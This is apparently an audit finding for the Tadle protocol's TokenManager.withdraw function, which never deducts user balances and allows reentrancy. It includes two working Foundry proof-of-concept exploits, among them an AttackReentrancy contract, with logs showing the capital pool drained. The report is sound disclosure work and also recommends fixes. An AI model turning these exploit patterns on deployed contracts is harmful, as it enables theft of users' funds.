Summary
Attacker can drain the funds from the protocol in two ways. This report presents two root causes that can lead to this:
The protocol utilizes the storage variable userTokenBalanceMapto update the user balance whenever new amounts are added.
But when calling the withdraw function userTokenBalanceMapis not updated.
https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/TokenManager.sol#L137-L189
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
@> uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
@> payable(msg.sender).transfer(claimAbleAmount);
} else {
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
@> _safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
As a result, the user balance will remain the same after every withdrawal. Thus, the user can drain all the protocol funds by calling the withdrawfunction several times.
PoC
In order to run this PoC, add the fix for the DoS on withdraw. Submission: "DoS on withdraw due to wrong parameter on approve call"
Then add the following test on PreMarkets.t.soland run forge test --match-test test_withdrawAllTheCollateral -vv
function test_withdrawAllTheCollateral() public {
_createOfferForUser(user1);
_createOfferForUser(user2);
_createOfferForUser(user3);
uint256 user1BalanceBefore = user1.balance;
console2.log("CapitalPool WETH balance before: %e", weth9.balanceOf(address(capitalPool)));
vm.startPrank(user1);
address stock1Addr = GenerateAddress.generateStockAddress(0);
address offer1Addr = GenerateAddress.generateOfferAddress(0);
preMarktes.closeOffer(stock1Addr, offer1Addr);
tokenManager.withdraw(address(weth9), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(weth9), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(weth9), TokenBalanceType.MakerRefund);
console2.log("CapitalPool WETH balance after: %e", weth9.balanceOf(address(capitalPool)));
assertGt(user1.balance, user1BalanceBefore);
vm.stopPrank();
}
Output:
Ran 1 test for test/PreMarkets.t.sol:PreMarketsTest
[PASS] test_withdrawAllTheCollateral() (gas: 1646333)
Logs:
CapitalPool WETH balance before: 3.6e18
CapitalPool WETH balance after: 0e0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.62ms (1.61ms CPU time)
A second way that the protocol can be drained is with reentrancy when using the native token and triggering the withdraw again, due to the lack of CEI pattern.
PoC
Add the following test on PreMarkets.t.soland run forge test --match-test test_GivenMakerHasDepositedFunds_whenCallingWithdraw_heCanWithdrawAllBalance -vv
function test_GivenMakerHasDepositedFunds_whenCallingWithdraw_heCanWithdrawAllBalance() public {
vm.pauseGasMetering();
_createOfferForUser(user1);
_createOfferForUser(user2);
AttackReentrancy attacker = new AttackReentrancy(address(tokenManager), address(capitalPool), address(weth9));
_createOfferForUser(address(attacker));
address stock1Addr = GenerateAddress.generateStockAddress(2);
address offer1Addr = GenerateAddress.generateOfferAddress(2);
vm.startPrank(address(attacker));
preMarktes.closeOffer(stock1Addr, offer1Addr);
uint256 balanceBeforeAttack = address(attacker).balance;
uint256 capitalPoolBalance = weth9.balanceOf(address(capitalPool));
console2.log("capitalPoolBalance before: %e", capitalPoolBalance);
attacker.attack();
vm.stopPrank();
uint256 balanceAfterAttack = address(attacker).balance;
capitalPoolBalance = weth9.balanceOf(address(capitalPool));
console2.log("capitalPoolBalance after: %e", capitalPoolBalance);
console2.log("balanceBeforeAttack: %e", balanceBeforeAttack);
console2.log("balanceAfterAttack: %e", balanceAfterAttack);
}
function _createOfferForUser(address _user) internal {
vm.startPrank(_user);
deal(_user, 100e18);
preMarktes.createOffer{value: 100e18}(
CreateOfferParams(
marketPlace,
address(weth9),
1000,
1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
vm.stopPrank();
}
contract AttackReentrancy {
TokenManager tokenManager;
address capitalPool;
address weth9;
constructor(address _tokenManager, address _capitalPool, address _weth9) {
tokenManager = TokenManager(_tokenManager);
capitalPool = _capitalPool;
weth9 = _weth9;
}
function attack() public {
tokenManager.withdraw(weth9, TokenBalanceType.MakerRefund);
}
receive() external payable {
uint256 remainingBalance = MockERC20Token(weth9).balanceOf(address(capitalPool));
if (remainingBalance > 0) {
tokenManager.withdraw(weth9, TokenBalanceType.MakerRefund);
}
}
}
Output:
an 1 test for test/PreMarkets.t.sol:PreMarketsTest
[PASS] test_GivenMakerHasDepositedFunds_whenCallingWithdraw_heCanWithdrawAllBalance() (gas: 18446744073709530551)
Logs:
capitalPoolBalance before: 3.6e18
capitalPoolBalance after: 0e0
balanceBeforeAttack: 0e0
@> balanceAfterAttack: 3.6e18
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.15ms (1.77ms CPU time)
Impact
Loss of funds: attacker can withdraw all funds from the protocol.
Tools Used
Manual Review & Foundry
Recommendations
Deduct the withdrawal amount from userTokenBalanceMap before executing the transfer to the user.
Use the nonReentrantmodifier from OZ.
